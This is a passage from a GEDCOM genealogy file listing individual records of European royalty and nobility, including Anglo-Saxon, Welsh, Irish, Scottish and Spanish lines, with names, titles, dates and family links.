@F888@\n0 @I2044@ INDI\n1 NAME Oswald  /Atheling/\n1 SEX M\n1 DEAT\n2 DATE         729\n1 FAMC @F889@\n0 @I2045@ INDI\n1 NAME Ethelbald  //\n1 SEX M\n1 FAMS @F889@\n1 FAMC @F890@\n0 @I2046@ INDI\n1 NAME Ine  //\n1 TITL King of Wessex\n1 SEX M\n1 DEAT\n2 DATE         728\n2 PLAC Rome,,Italy\n1 FAMS @F893@\n1 FAMC @F891@\n0 @I2047@ INDI\n1 NAME Cenred  //\n1 SEX M\n1 FAMS @F891@\n1 FAMC @F892@\n0 @I2048@ INDI\n1 NAME Ceolwald  //\n1 SEX M\n1 FAMS @F892@\n1 FAMC @F899@\n0 @I2049@ INDI\n1 NAME Ethelburh  //\n1 SEX F\n1 FAMS @F893@\n0 @I2050@ INDI\n1 NAME Ingild  //\n1 SEX M\n1 DEAT\n2 DATE         718\n1 FAMS @F898@\n1 FAMC @F891@\n0 @I2051@ INDI\n1 NAME Cwenburh of_Wimborne //\n1 TITL Abbess\n1 SEX F\n1 FAMC @F891@\n0 @I2052@ INDI\n1 NAME Cuthburh  //\n1 SEX F\n1 FAMS @F894@\n1 FAMC @F891@\n0 @I2053@ INDI\n1 NAME Aldfrid of_Northumbria //\n1 TITL King\n1 SEX M\n1 FAMS @F894@\n0 @I2054@ INDI\n1 NAME Ealhmund of_Kent //\n1 TITL Under-King\n1 SEX M\n1 DEAT\n2 DATE         786\n1 FAMS @F895@\n1 FAMC @F896@\n0 @I2055@ INDI\n1 NAME Eaba  //\n1 SEX M\n1 FAMS @F896@\n1 FAMC @F897@\n0 @I2056@ INDI\n1 NAME Eoppa  //\n1 SEX M\n1 FAMS @F897@\n1 FAMC @F898@\n0 @I2057@ INDI\n1 NAME William of_Hainault //\n1 TITL Count\n1 SEX M\n1 FAMS @F900@\n0 @I2058@ INDI\n1 NAME Thomas  /Holland/\n1 TITL Earl of Kent\n1 SEX M\n1 FAMS @F901@\n0 @I2059@ INDI\n1 NAME William  /de_Burgh/\n1 TITL Earl of Ulster\n1 SEX M\n1 FAMS @F902@\n0 @I2060@ INDI\n1 NAME Galeazzo  /Visconti/\n1 TITL Duke of Milan\n1 SEX M\n1 FAMS @F903@\n0 @I2061@ INDI\n1 NAME Otho of_Montferrat //\n1 TITL Marquis\n1 SEX M\n1 FAMS @F904@\n0 @I2062@ INDI\n1 NAME Pedro_III of_Castile //\n1 TITL King\n1 SEX M\n1 FAMS @F905@\n1 FAMS @F908@\n0 @I2063@ INDI\n1 NAME Payne of_Guienne /Roet/\n1 TITL Sir\n1 SEX M\n1 FAMS @F906@\n0 @I2064@ INDI\n1 NAME Hugh  /Swynford/\n1 TITL Sir\n1 SEX M\n1 FAMS @F907@\n0 @I2065@ INDI\n1 NAME Katherine  //\n1 SEX F\n1 FAMS @F909@\n1 FAMC @F517@\n0 @I2066@ INDI\n1 NAME Henry_III  //\n1 TITL King of Castile\n1 SEX M\n1 BIRT\n2 DATE        1379\n1 DEAT\n2 DATE        1406\n1 FAMS @F909@\n1 FAMC @F910@\n0 @I2067@ INDI\n1 NAME John_I (Juan) //\n1 TITL King of Castile\n1 SEX M\n1 BIRT\n2 DATE        1358\n1 DEAT\n2 DATE        1390\n1 FAMS @F910@\n1 FAMC @F911@\n0 @I2068@ INDI\n1 NAME Henry_II (Enrique) //\n1 TITL King of Castile\n1 SEX M\n1 BIRT\n2 DATE ABT    1333\n1 DEAT\n2 DATE        1379\n1 FAMS @F911@\n0 @I2069@ INDI\n1 NAME Humphrey of_Hereford /De_Bohun/\n1 TITL Earl\n1 SEX M\n1 FAMS @F912@\n0 @I2070@ INDI\n1 NAME Edmund of_Stafford //\n1 TITL Earl\n1 SEX M\n1 FAMS @F913@\n0 @I2071@ INDI\n1 NAME Humphrey of_Buckingham //\n1 TITL Earl\n1 SEX M\n1 FAMC @F491@\n0 @I2072@ INDI\n1 NAME Joan  //\n1 SEX F\n1 FAMC @F491@\n0 @I2073@ INDI\n1 NAME Isabel  //\n1 SEX F\n1 FAMC @F491@\n0 @I2074@ INDI\n1 NAME Isabelle of_Bavaria //\n1 SEX F\n1 BIRT\n2 DATE        1371\n1 DEAT\n2 DATE        1435\n1 FAMS @F915@\n0 @I2075@ INDI\n1 NAME Charles_VI the_Beloved //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE  3 DEC 1368\n2 PLAC Paris,France\n1 DEAT\n2 DATE 22 OCT 1422\n2 PLAC Paris,France\n1 BURI\n2 PLAC St. Denis,France\n1 FAMS @F915@\n1 FAMC @F1182@\n0 @I2076@ INDI\n1 NAME Robert  /Ferrers/\n1 TITL Sir\n1 SEX M\n1 FAMS @F916@\n0 @I2077@ INDI\n1 NAME Margaret  //\n1 SEX F\n1 FAMS @F917@\n1 FAMC @F918@\n0 @I2078@ INDI\n1 NAME Thomas  /Neville/\n1 TITL Sir\n1 SEX M\n1 FAMS @F918@\n0 @I2079@ INDI\n1 NAME Margaret  /Beaufort/\n1 SEX F\n1 FAMS @F919@\n1 FAMC @F486@\n0 @I2080@ INDI\n1 NAME Thomas  /Courtenay/\n1 TITL Earl of Devon V\n1 SEX M\n1 FAMS @F919@\n0 @I2081@ INDI\n1 NAME Eleanor  /Beauchamp/\n1 SEX F\n1 FAMS @F920@\n1 FAMC @F921@\n0 @I2082@ INDI\n1 NAME Richard  /Beauchamp/\n1 TITL Earl of Warwick\n1 SEX M\n1 FAMS @F921@\n0 @I2083@ INDI\n1 NAME Henry  /Beaufort/\n1 TITL Duke Sommerset\n1 SEX M\n1 DEAT\n2 DATE        1463\n1 FAMC @F920@\n0 @I2084@ INDI\n1 NAME Edmund  /Beaufort/\n1 TITL Duke Sommerset\n1 SEX M\n1 DEAT\n2 DATE        1471\n1 FAMC @F920@\n0 @I2085@ INDI\n1 NAME John  /Beaufort/\n1 SEX M\n1 DEAT\n2 DATE        1471\n1 FAMC @F920@\n0 @I2086@ INDI\n1 NAME Eleanor  /Beaufort/\n1 SEX F\n1 FAMS @F922@\n1 FAMS @F923@\n1 FAMC @F920@\n0 @I2087@ INDI\n1 NAME Joan  /Beaufort/\n1 SEX F\n1 FAMS @F924@\n1 FAMS @F925@\n1 FAMC @F920@\n0 @I2088@ INDI\n1 NAME Anne  /Beaufort/\n1 SEX F\n1 FAMS @F926@\n1 FAMC @F920@\n0 @I2089@ INDI\n1 NAME Margaret  /Beaufort/\n1 SEX F\n1 FAMS @F927@\n1 FAMS @F928@\n1 FAMC @F920@\n0 @I2090@ INDI\n1 NAME Elizabeth  /Beaufort/\n1 SEX F\n1 FAMS @F929@\n1 FAMC @F920@\n0 @I2091@ INDI\n1 NAME James of_Wiltshire /Butler/\n1 TITL Earl\n1 SEX M\n1 FAMS @F922@\n0 @I2092@ INDI\n1 NAME Robert  /Spencer/\n1 TITL Sir\n1 SEX M\n1 FAMS @F923@\n0 @I2093@ INDI\n1 NAME Robert  /St._Lawrence/\n1 TITL Lord Howth\n1 SEX M\n1 FAMS @F924@\n0 @I2094@ INDI\n1 NAME Richard  /Fry/\n1 SEX M\n1 FAMS @F925@\n0 @I2095@ INDI\n1 NAME William  /Paston/\n1 SEX M\n1 FAMS @F926@\n0 @I2096@ INDI\n1 NAME Humphrey  //\n1 TITL Earl of Stafford\n1 SEX M\n1 FAMS @F927@\n0 @I2097@ INDI\n1 NAME Richard  /Darell/\n1 TITL Sir\n1 SEX M\n1 FAMS @F928@\n0 @I2098@ INDI\n1 NAME Henry Fitz /Lewes/\n1 TITL Sir\n1 SEX M\n1 FAMS @F929@\n0 @I2099@ INDI\n1 NAME Thomas of_Wiltshire /Boleyn/\n1 TITL Earl\n1 SEX M\n1 DEAT\n2 DATE        1536\n1 FAMS @F931@\n0 @I2100@ INDI\n1 NAME Joanna the_Mad (Juana)//\n1 SEX F\n1 BIRT\n2 DATE        1479\n1 DEAT\n2 DATE        1555\n1 FAMS @F1352@\n1 FAMC @F320@\n0 @I2101@ INDI\n1 NAME William  /Cavendish/\n1 TITL Sir\n1 SEX M\n1 FAMS @F930@\n0 @I2102@ INDI\n1 NAME Frances  /Devereux/\n1 SEX F\n1 DEAT\n2 DATE        1674\n1 FAMS @F932@\n1 FAMC @F933@\n0 @I2103@ INDI\n1 NAME Robert  /Devereux/\n1 TITL Earl of Essex\n1 SEX M\n1 FAMS @F933@\n0 @I2104@ INDI\n1 NAME Henry of_Cumberland /Clifford/\n1 TITL Earl\n1 SEX M\n1 DEAT\n2 DATE        1569\n1 FAMS @F934@\n1 FAMS @F1094@\n0 @I2105@ INDI\n1 NAME Adrian  /Stokes/\n1 SEX M\n1 DEAT\n2 DATE ABT    1581\n1 FAMS @F935@\n0 @I2106@ INDI\n1 NAME Catherine  /Grey/\n1 TITL Lady\n1 SEX F\n1 DEAT\n2 DATE ABT    1568\n1 FAMS @F1091@\n1 FAMS @F936@\n1 FAMC @F527@\n0 @I2107@ INDI\n1 NAME Mary  /Grey/\n1 TITL Lady\n1 SEX F\n1 DEAT\n2 DATE        1578\n1 FAMS @F1092@\n1 FAMC @F527@\n0 @I2108@ INDI\n1 NAME Edward  /Seymour/\n1 TITL Earl of Hertford\n1 SEX M\n1 FAMS @F936@\n1 FAMS @F1122@\n1 FAMS @F1123@\n1 FAMC @F1125@\n0 @I2109@ INDI\n1 NAME Edward Beauchamp /Seymour/\n1 TITL Lord\n1 SEX M\n1 DEAT\n2 DATE        1612\n1 FAMS @F938@\n1 FAMC @F936@\n0 @I2110@ INDI\n1 NAME Thomas  /Seymour/\n1 SEX M\n1 DEAT\n2 DATE        1600\n1 FAMS @F937@\n1 FAMC @F936@\n0 @I2111@ INDI\n1 NAME Isabel  /Onley/\n1 SEX F\n1 FAMS @F937@\n0 @I2112@ INDI\n1 NAME Honora  /Rogers/\n1 SEX F\n1 FAMS @F938@\n1 FAMC @F939@\n0 @I2113@ INDI\n1 NAME Richard  /Rogers/\n1 TITL Sir\n1 SEX M\n1 FAMS @F939@\n0 @I2114@ INDI\n1 NAME Frederick Henry //\n1 SEX M\n1 BIRT\n2 DATE        1614\n1 DEAT\n2 DATE        1629\n1 FAMC @F265@\n0 @I2115@ INDI\n1 NAME Philip  //\n1 SEX M\n1 DEAT\n2 DATE        1650\n1 FAMC @F265@\n0 @I2116@ INDI\n1 NAME Elizabeth of_Hervorden //\n1 TITL Abbess\n1 SEX F\n1 DEAT\n2 DATE        1680\n1 FAMC @F265@\n0 @I2117@ INDI\n1 NAME Louisa Hollandine of_Maubisson//\n1 TITL Abbess\n1 SEX F\n1 DEAT\n2 DATE        1709\n1 FAMC @F265@\n0 @I2118@ INDI\n1 NAME Henrietta Maria //\n1 SEX F\n1 DEAT\n2 DATE        1651\n1 FAMS @F943@\n1 FAMC @F265@\n0 @I2119@ INDI\n1 NAME Charlotte  //\n1 SEX F\n1 DEAT\n2 DATE        1631\n1 FAMC @F265@\n0 @I2120@ INDI\n1 NAME William of_Hesse /Landgrave/\n1 SEX M\n1 FAMS @F941@\n0 @I2121@ INDI\n1 NAME Anne  //\n1 SEX F\n1 FAMS @F942@\n0 @I2122@ INDI\n1 NAME Sigismund of_Transylvania /Ragotski/\n1 TITL Prince\n1 SEX M\n1 FAMS @F943@\n0 @I2123@ INDI\n1 NAME Frederick Augustus //\n1 SEX M\n1 DEAT\n2 DATE        1690\n1 FAMC @F266@\n0 @I2124@ INDI\n1 NAME Maximilian William //\n1 SEX M\n1 DEAT\n2 DATE        1726\n1 FAMC @F266@\n0 @I2125@ INDI\n1 NAME Charles Philip //\n1 SEX M\n1 DEAT\n2 DATE        1690\n1 FAMC @F266@\n0 @I2126@ INDI\n1 NAME Christian  //\n1 SEX M\n1 DEAT\n2 DATE        1703\n1 FAMC @F266@\n0 @I2127@ INDI\n1 NAME Edward  /Hyde/\n1 TITL Earl of Claredon\n1 SEX M\n1 FAMS @F944@\n0 @I2128@ INDI\n1 NAME Anna Maria //\n1 SEX F\n1 BIRT\n2 DATE        1669\n1 DEAT\n2 DATE        1728\n1 FAMS @F945@\n1 FAMC @F272@\n0 @I2129@ INDI\n1 NAME Victor Amadeus_II //\n1 TITL Duke of Savoy\n1 SEX M\n1 BIRT\n2 DATE        1666\n1 DEAT\n2 DATE        1732\n1 FAMS @F945@\n0 @I2130@ INDI\n1 NAME Charles_II  //\n1 TITL King of Spain\n1 SEX M\n1 BIRT\n2 DATE        1661\n1 DEAT\n2 DATE        1700\n1 FAMS @F946@\n1 FAMC @F947@\n0 @I2131@ INDI\n1 NAME Philip_IV  //\n1 TITL King of Spain\n1 SEX M\n1 BIRT\n2 DATE        1605\n1 DEAT\n2 DATE        1665\n1 FAMS @F948@\n1 FAMS @F947@\n1 FAMC @F522@\n0 @I2132@ INDI\n1 NAME Philip_III  //\n1 TITL King of Spain\n1 SEX M\n1 BIRT\n2 DATE        1578\n2 PLAC Madrid,,,Spain\n1 DEAT\n2 DATE        1621\n1 FAMS @F522@\n1 FAMC @F951@\n0 @I2133@ INDI\n1 NAME Maria of_Portugal //\n1 SEX F\n1 FAMS @F949@\n0 @I2134@ INDI\n1 NAME Elizabeth of_France //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1545\n1 DEAT\n2 DATE        1568\n1 FAMS @F950@\n0 @I2135@ INDI\n1 NAME Anne of_Austria //\n1 SEX F\n1 BIRT\n2 DATE        1549\n1 DEAT\n2 DATE        1580\n1 FAMS @F951@\n0 @I2136@ INDI\n1 NAME Don_Carlos  //\n1 SEX M\n1 FAMC @F949@\n0 @I2137@ INDI\n1 NAME James Louis /Sobieski/\n1 TITL Prince\n1 SEX M\n1 FAMS @F952@\n1 FAMC @F953@\n0 @I2138@ INDI\n1 NAME John_III  /Sobieski/\n1 TITL King of Poland\n1 SEX M\n1 BIRT\n2 DATE  9 JUN 1624\n2 PLAC Olesko,Now:,Ukraine,SSR\n1 DEAT\n2 DATE 17 JUN 1696\n2 PLAC Wilanow,Nr.,Warsaw,Poland\n1 FAMS @F953@\n0 @I2139@ INDI\n1 NAME Gustavus Adolphus of_Stolberg-Ged.//\n1 TITL Prince\n1 SEX M\n1 FAMS @F954@\n0 @I2140@ INDI\n1 NAME George William of_Brunswick//\n1 TITL Duke\n1 SEX M\n1 DEAT\n2 DATE        1726\n1 FAMS @F955@\n0 @I2141@ INDI\n1 NAME Celle  //\n1 SEX F\n1 FAMS @F955@\n0 @I2142@ INDI\n1 NAME Frederick_II of_Saxe-Gotha //\n1 TITL Duke\n1 SEX M\n1 FAMS @F956@\n0 @I2143@ INDI\n1 NAME Magdalena Augusta of_Anhalt-Zerbst//\n1 SEX F\n1 FAMS @F956@\n0 @I2144@ INDI\n1 NAME Edward  /Walpole/\n1 TITL Hon. Sir\n1 SEX M\n1 FAMS @F957@\n0 @I2145@ INDI\n1 NAME James Waldegrave_2nd //\n1 TITL Earl\n1 SEX M\n1 FAMS @F958@\n0 @I2146@ INDI\n1 NAME Sophia  //\n1 SEX F\n1 DEAT\n2 DATE        1844\n1 FAMC @F279@\n0 @I2147@ INDI\n1 NAME Charles Louis Frederick//\n1 TITL Duke\n1 SEX M\n1 FAMS @F959@\n0 @I2148@ INDI\n1 NAME Elizabeth of_Saxe- Hildburghausen/Albertin/\n1 SEX F\n1 FAMS @F959@\n0 @I2149@ INDI\n1 NAME Alfonso  //\n1 TITL Infante of Spain\n1 SEX M\n1 FAMS @F960@\n0 @I2150@ INDI\n1 NAME Ernest of_Hohenlohe- Langenburg//\n1 TITL Prince\n1 SEX M\n1 FAMS @F961@\n0 @I2151@ INDI\n1 NAME  of_Dalhousie XIII//\n1 TITL Earl\n1 SEX M\n1 FAMS @F962@\n0 @I2152@ INDI\n1 NAME Katharine Fraser //\n1 SEX F\n1 BIRT\n2 DATE        1957\n1 FAMC @F665@\n0 @I2153@ INDI\n1 NAME Alice  //\n1 SEX F\n1 BIRT\n2 DATE        1961\n1 FAMC @F665@\n0 @I2154@ INDI\n1 NAME Elizabeth  //\n1 SEX F\n1 BIRT\n2 DATE        1963\n1 FAMC @F665@\n0 @I2155@ INDI\n1 NAME Alistair Arthur of_Connaught_2nd//\n1 TITL Duke\n1 SEX M\n1 DEAT\n2 DATE        1943\n1 FAMC @F36@\n0 @I2156@ INDI\n1 NAME Romaine  //\n1 SEX F\n1 FAMS @F963@\n0 @I2157@ INDI\n1 NAME Janet  /Bryce/\n1 SEX F\n1 FAMS @F964@\n0 @I2158@ INDI\n1 NAME George of_Milford_Haven //\n1 TITL Marquess\n1 SEX M\n1 FAMC @F963@\n0 @I2159@ INDI\n1 NAME Ivar  //\n1 TITL Lord\n1 SEX M\n1 FAMC @F963@\n0 @I2160@ INDI\n1 NAME  of_Mount_Temple //\n1 TITL Lord\n1 SEX M\n1 FAMS @F965@\n0 @I2161@ INDI\n1 NAME  of_Lodesborough //\n1 TITL Earl\n1 SEX M\n1 FAMS @F966@\n0 @I2162@ INDI\n1 NAME J. Keyes-O'Malley /Hamilton/\n1 TITL Capt.\n1 SEX M\n1 FAMS @F967@\n0 @I2163@ INDI\n1 NAME Michael Kelly Bryan//\n1 SEX M\n1 FAMS @F968@\n0 @I2164@ INDI\n1 NAME William Kemp //\n1 SEX M\n1 FAMS @F969@\n0 @I2165@ INDI\n1 NAME Robin Alexander //\n1 SEX M\n1 FAMC @F968@\n0 @I2166@ INDI\n1 NAME Maelgwn Fychan //\n1 SEX M\n1 DEAT\n2 DATE        1257\n1 FAMS @F970@\n0 @I2167@ INDI\n1 NAME Eleanor  //\n1 SEX F\n1 FAMS @F971@\n1 FAMC @F970@\n0 @I2168@ INDI\n1 NAME Maredudd Ap_Owain //\n1 SEX M\n1 DEAT\n2 DATE        1265\n1 FAMS @F971@\n0 @I2169@ INDI\n1 NAME Owain  //\n1 SEX M\n1 DEAT\n2 DATE        1275\n1 FAMS @F972@\n1 FAMC @F971@\n0 @I2170@ INDI\n1 NAME Llywelyn  //\n1 SEX M\n1 DEAT\n2 DATE        1309\n1 FAMS @F973@\n1 FAMC @F972@\n0 @I2171@ INDI\n1 NAME Thomas  //\n1 SEX M\n1 DEAT\n2 DATE ABT    1343\n1 FAMS @F974@\n1 FAMC @F973@\n0 @I2172@ INDI\n1 NAME Margaret  //\n1 SEX F\n1 FAMS @F975@\n1 FAMC @F974@\n0 @I2173@ INDI\n1 NAME Tudor Fychan of_Pemmynydd//\n1 SEX M\n1 FAMS @F975@\n1 FAMC @F977@\n0 @I2174@ INDI\n1 NAME Maredudd (Meredith) /Tudor/\n1 SEX M\n1 FAMS @F976@\n1 FAMC @F975@\n0 @I2175@ INDI\n1 NAME Goronwy_Ap Tudor //\n1 SEX M\n1 DEAT\n2 DATE        1331\n1 FAMS @F977@\n1 FAMC @F978@\n0 @I2176@ INDI\n1 NAME Tudor Hen //\n1 SEX M\n1 DEAT\n2 DATE        1311\n1 FAMS @F978@\n1 FAMC @F979@\n0 @I2177@ INDI\n1 NAME Goronwy  //\n1 SEX M\n1 FAMS @F979@\n1 FAMC @F980@\n0 @I2178@ INDI\n1 NAME Ednyfed Fychan //\n1 SEX M\n1 FAMS @F980@\n0 @I2179@ INDI\n1 NAME Gwenllian  //\n1 SEX F\n1 DEAT\n2 DATE        1236\n1 FAMS @F980@\n1 FAMC @F981@\n0 @I2180@ INDI\n1 NAME Rhys_Ap Gruffydd //\n1 TITL Lord Rhys\n1 SEX M\n1 DEAT\n2 DATE        1197\n1 FAMS @F981@\n1 FAMC @F982@\n0 @I2181@ INDI\n1 NAME Gruffydd  //\n1 SEX M\n1 DEAT\n2 DATE        1137\n1 FAMS @F982@\n1 FAMC @F983@\n0 @I2182@ INDI\n1 NAME Rhys_Ap Twedwr //\n1 TITL Prince S. Wales\n1 SEX M\n1 FAMS @F983@\n1 FAMC @F984@\n0 @I2183@ INDI\n1 NAME Tewdwr Mawr the_Great//\n1 SEX M\n1 FAMS @F984@\n1 FAMC @F985@\n0 @I2184@ INDI\n1 NAME Cadell  //\n1 SEX M\n1 FAMS @F985@\n1 FAMC @F986@\n0 @I2185@ INDI\n1 NAME Einion  //\n1 SEX M\n1 DEAT\n2 DATE         984\n1 FAMS @F986@\n1 FAMC @F817@\n0 @I2186@ INDI\n1 NAME Michael of_Hillsborough /Hill/\n1 SEX M\n1 FAMS @F987@\n1 FAMC @F988@\n0 @I2187@ INDI\n1 NAME William  /Hill/\n1 SEX M\n1 FAMS @F988@\n0 @I2188@ INDI\n1 NAME Eleanor  /Boyle/\n1 SEX F\n1 FAMS @F988@\n1 FAMC @F989@\n0 @I2189@ INDI\n1 NAME Michael  /Boyle/\n1 TITL Dr.\n1 SEX M\n1 FAMS @F989@\n0 @I2190@ INDI\n1 NAME Mary  /O'Brien/\n1 SEX F\n1 FAMS @F989@\n1 FAMC @F990@\n0 @I2191@ INDI\n1 NAME Dermont  /O'Brien/\n1 TITL Lord Inchiquin V\n1 SEX M\n1 DEAT\n2 DATE        1624\n1 FAMS @F990@\n1 FAMC @F991@\n0 @I2192@ INDI\n1 NAME Murrough  /O'Brien/\n1 TITL Lord Inchiquin 4\n1 SEX M\n1 DEAT\n2 DATE        1597\n1 FAMS @F991@\n1 FAMC @F992@\n0 @I2193@ INDI\n1 NAME Murrough  /O'Brien/\n1 TITL Lord Inchiquin 3\n1 SEX M\n1 DEAT\n2 DATE        1573\n1 FAMS @F992@\n1 FAMC @F993@\n0 @I2194@ INDI\n1 NAME Dermod  /O'Brien/\n1 TITL Lord Inchiquin 2\n1 SEX M\n1 DEAT\n2 DATE        1557\n1 FAMS @F993@\n1 FAMC @F994@\n0 @I2195@ INDI\n1 NAME Murrough  //\n1 TITL King of Thomond\n1 SEX M\n1 DEAT\n2 DATE        1551\n1 FAMS @F994@\n1 FAMC @F995@\n0 @I2196@ INDI\n1 NAME Turlough Don //\n1 TITL King of Thomond\n1 SEX M\n1 FAMS @F995@\n1 FAMC @F996@\n0 @I2197@ INDI\n1 NAME Teige An_Chomard //\n1 TITL King of Thomond\n1 SEX M\n1 FAMS @F996@\n1 FAMC @F997@\n0 @I2198@ INDI\n1 NAME Turlough Bog the_Soft//\n1 TITL King of Thomond\n1 SEX M\n1 FAMS @F997@\n1 FAMC @F998@\n0 @I2199@ INDI\n1 NAME Brian_Catha An_Eanaigh //\n1 TITL King of Thomond\n1 SEX M\n1 FAMS @F998@\n1 FAMC @F999@\n0 @I2200@ INDI\n1 NAME Mahon Moinmoy //\n1 TITL King of Thomond\n1 SEX M\n1 FAMS @F999@\n1 FAMC @F1000@\n0 @I2201@ INDI\n1 NAME Mortogh  //\n1 TITL King of Thomond\n1 SEX M\n1 FAMS @F1000@\n1 FAMC @F1001@\n0 @I2202@ INDI\n1 NAME Turlough  //\n1 TITL King of Thomond\n1 SEX M\n1 DEAT\n2 DATE        1306\n1 FAMS @F1001@\n1 FAMC @F1002@\n0 @I2203@ INDI\n1 NAME Teige Caeluisce //\n1 TITL King of Thomond\n1 SEX M\n1 FAMS @F1002@\n1 FAMC @F1003@\n0 @I2204@ INDI\n1 NAME Conor Na_Suidane //\n1 TITL King of Thomond\n1 SEX M\n1 FAMS @F1003@\n1 FAMC @F1004@\n0 @I2205@ INDI\n1 NAME Donough Cairbreach //\n1 TITL King of Thomond\n1 SEX M\n1 FAMS @F1004@\n1 FAMC @F1005@\n0 @I2206@ INDI\n1 NAME Donnell More //\n1 TITL King of Thomond\n1 SEX M\n1 DEAT\n2 DATE        1194\n1 FAMS @F1005@\n1 FAMC @F1006@\n0 @I2207@ INDI\n1 NAME Urlachan  //\n1 SEX F\n1 FAMS @F1005@\n1 FAMC @F1014@\n0 @I2208@ INDI\n1 NAME Turlough  //\n1 TITL King of Thomond\n1 SEX M\n1 FAMS @F1006@\n1 FAMC @F1007@\n0 @I2209@ INDI\n1 NAME Dermot  //\n1 TITL King of Munster\n1 SEX M\n1 FAMS @F1007@\n1 FAMC @F1008@\n0 @I2210@ INDI\n1 NAME Turough  //\n1 TITL King of Munster\n1 SEX M\n1 FAMS @F1008@\n1 FAMC @F1009@\n0 @I2211@ INDI\n1 NAME Teige (Terence) //\n1 SEX M\n1 DEAT\n2 DATE        1023\n1 FAMS @F1009@\n1 FAMC @F1010@\n0 @I2212@ INDI\n1 NAME Brian Boru //\n1 TITL King of Ireland\n1 SEX M\n1 FAMS @F1010@\n0 @I2213@ INDI\n1 NAME Dearbforgail  //\n1 SEX F\n1 DEAT\n2 DATE        1080\n1 FAMS @F1011@\n1 FAMC @F1010@\n0 @I2214@ INDI\n1 NAME Dermot  /MacMailnamo/\n1 TITL King of Ireland\n1 SEX M\n1 DEAT\n2 DATE        1072\n1 FAMS @F1011@\n0 @I2215@ INDI\n1 NAME Murchad  //\n1 TITL King of Leinster\n1 SEX M\n1 DEAT\n2 DATE        1090\n1 FAMS @F1017@\n1 FAMC @F1011@\n0 @I2216@ INDI\n1 NAME Eva  //\n1 SEX F\n1 FAMS @F807@\n1 FAMC @F1012@\n0 @I2217@ INDI\n1 NAME William  /Marshal/\n1 TITL Earl of Pembroke\n1 SEX M\n1 FAMS @F1012@\n0 @I2218@ INDI\n1 NAME Isabel  //\n1 SEX F\n1 FAMS @F1012@\n1 FAMC @F1013@\n0 @I2219@ INDI\n1 NAME Richard (Strongbow) //\n1 TITL Earl of Pembroke\n1 SEX M\n1 FAMS @F1013@\n0 @I2220@ INDI\n1 NAME Aoife (Eva) //\n1 SEX F\n1 FAMS @F1013@\n1 FAMC @F1014@\n0 @I2221@ INDI\n1 NAME Dermot  /MacMurrough/\n1 TITL King of Leinster\n1 SEX M\n1 DEAT\n2 DATE        1171\n1 FAMS @F1014@\n1 FAMC @F1015@\n0 @I2222@ INDI\n1 NAME Enna  //\n1 TITL King of Leinster\n1 SEX M\n1 DEAT\n2 DATE        1126\n1 FAMS @F1015@\n1 FAMC @F1016@\n0 @I2223@ INDI\n1 NAME Donchad  //\n1 TITL King of Leinster\n1 SEX M\n1 DEAT\n2 DATE        1126\n1 FAMS @F1016@\n1 FAMC @F1017@\n0 @I2224@ INDI\n1 NAME Sybil  //\n1 SEX F\n1 FAMS @F1018@\n1 FAMC @F506@\n0 @I2225@ INDI\n1 NAME Ingibiorg  //\n1 SEX F\n1 FAMS @F1020@\n1 FAMC @F1021@\n0 @I2226@ INDI\n1 NAME Finn  /Arnasson/\n1 SEX M\n1 FAMS @F1021@\n0 @I2227@ INDI\n1 NAME Matilda  //\n1 SEX F\n1 DEAT\n2 DATE        1131\n1 FAMS @F1022@\n0 @I2228@ INDI\n1 NAME Henry of_Huntingdon //\n1 TITL Earl\n1 SEX M\n1 DEAT\n2 DATE        1152\n1 FAMS @F1023@\n1 FAMC @F1022@\n0 @I2229@ INDI\n1 NAME Ada  //\n1 SEX F\n1 FAMS @F1023@\n0 @I2230@ INDI\n1 NAME Malcolm_IV the_Maiden //\n1 TITL King of Scotland\n1 SEX M\n1 FAMC @F1023@\n0 @I2231@ INDI\n1 NAME Willaim_I the_Lion //\n1 TITL King of Scotland\n1 SEX M\n1 FAMS @F1024@\n1 FAMC @F1023@\n0 @I2232@ INDI\n1 NAME Ermengarde  //\n1 SEX F\n1 DEAT\n2 DATE        1234\n1 FAMS @F1024@\n0 @I2233@ INDI\n1 NAME Mary of_Coucy //\n1 SEX F\n1 FAMS @F1025@\n0 @I2234@ INDI\n1 NAME Margaret  //\n1 SEX F\n1 DEAT\n2 DATE        1283\n1 FAMS @F1026@\n1 FAMC @F603@\n0 @I2235@ INDI\n1 NAME Eric  /Magnusson/\n1 TITL King of Norway\n1 SEX M\n1 FAMS @F1026@\n0 @I2236@ INDI\n1 NAME Margaret Maid_of_Norway //\n1 SEX F\n1 BIRT\n2 DATE ABT    1282\n1 DEAT\n2 DATE        1290\n1 FAMC @F1026@\n0 @I2237@ INDI\n1 NAME Duncan_II May-Nov //\n1 TITL King of Scotland\n1 SEX M\n1 FAMS @F1027@\n1 FAMC @F1020@\n0 @I2238@ INDI\n1 NAME Ethelreda  //\n1 SEX F\n1 FAMS @F1027@\n0 @I2239@ INDI\n1 NAME Duncan_I  //\n1 SEX M\n1 FAMS @F1028@\n1 FAMC @F1029@\n0 @I2240@ INDI\n1 NAME Sybil  //\n1 SEX F\n1 FAMS @F1028@\n0 @I2241@ INDI\n1 NAME Donald_III Bane //\n1 TITL King of Scotland\n1 SEX M\n1 FAMC @F1028@\n0 @I2242@ INDI\n1 NAME Crinan  //\n1 SEX M\n1 FAMS @F1029@\n0 @I2243@ INDI\n1 NAME Bethoc  //\n1 SEX F\n1 FAMS @F1029@\n1 FAMC @F1032@\n0 @I2244@ INDI\n1 NAME Gillacomgan  //\n1 SEX M\n1 FAMS @F1030@\n0 @I2245@ INDI\n1 NAME Gruoch  //\n1 SEX F\n1 FAMS @F1030@\n1 FAMS @F1031@\n1 FAMC @F1038@\n0 @I2246@ INDI\n1 NAME Lulach  //\n1 TITL King of Scotland\n1 SEX M\n1 FAMC @F1030@\n0 @I2247@ INDI\n1 NAME Macbeth  //\n1 TITL King of Scotland\n1 SEX M\n1 DEAT\n2 DATE        1057\n1 FAMS @F1031@\n0 @I2248@ INDI\n1 NAME Malcolm_II  //\n1 TITL King of Scotland\n1 SEX M\n1 FAMS @F1032@\n1 FAMC @F1033@\n0 @I2249@ INDI\n1 NAME Kenneth_II  //\n1 TITL King of Scotland\n1 SEX M\n1 FAMS @F1033@\n1 FAMC @F1034@\n0 @I2250@ INDI\n1 NAME Malcolm_I  //\n1 TITL King of Scotland\n1 SEX M\n1 FAMS @F1034@\n1 FAMC @F1035@\n0 @I2251@ INDI\n1 NAME Donald_II  //\n1 TITL King of Scotland\n1 SEX M\n1 FAMS @F1035@\n1 FAMC @F1036@\n0 @I2252@ INDI\n1 NAME Constantine_II  //\n1 TITL King of Scotland\n1 SEX M\n1 FAMS 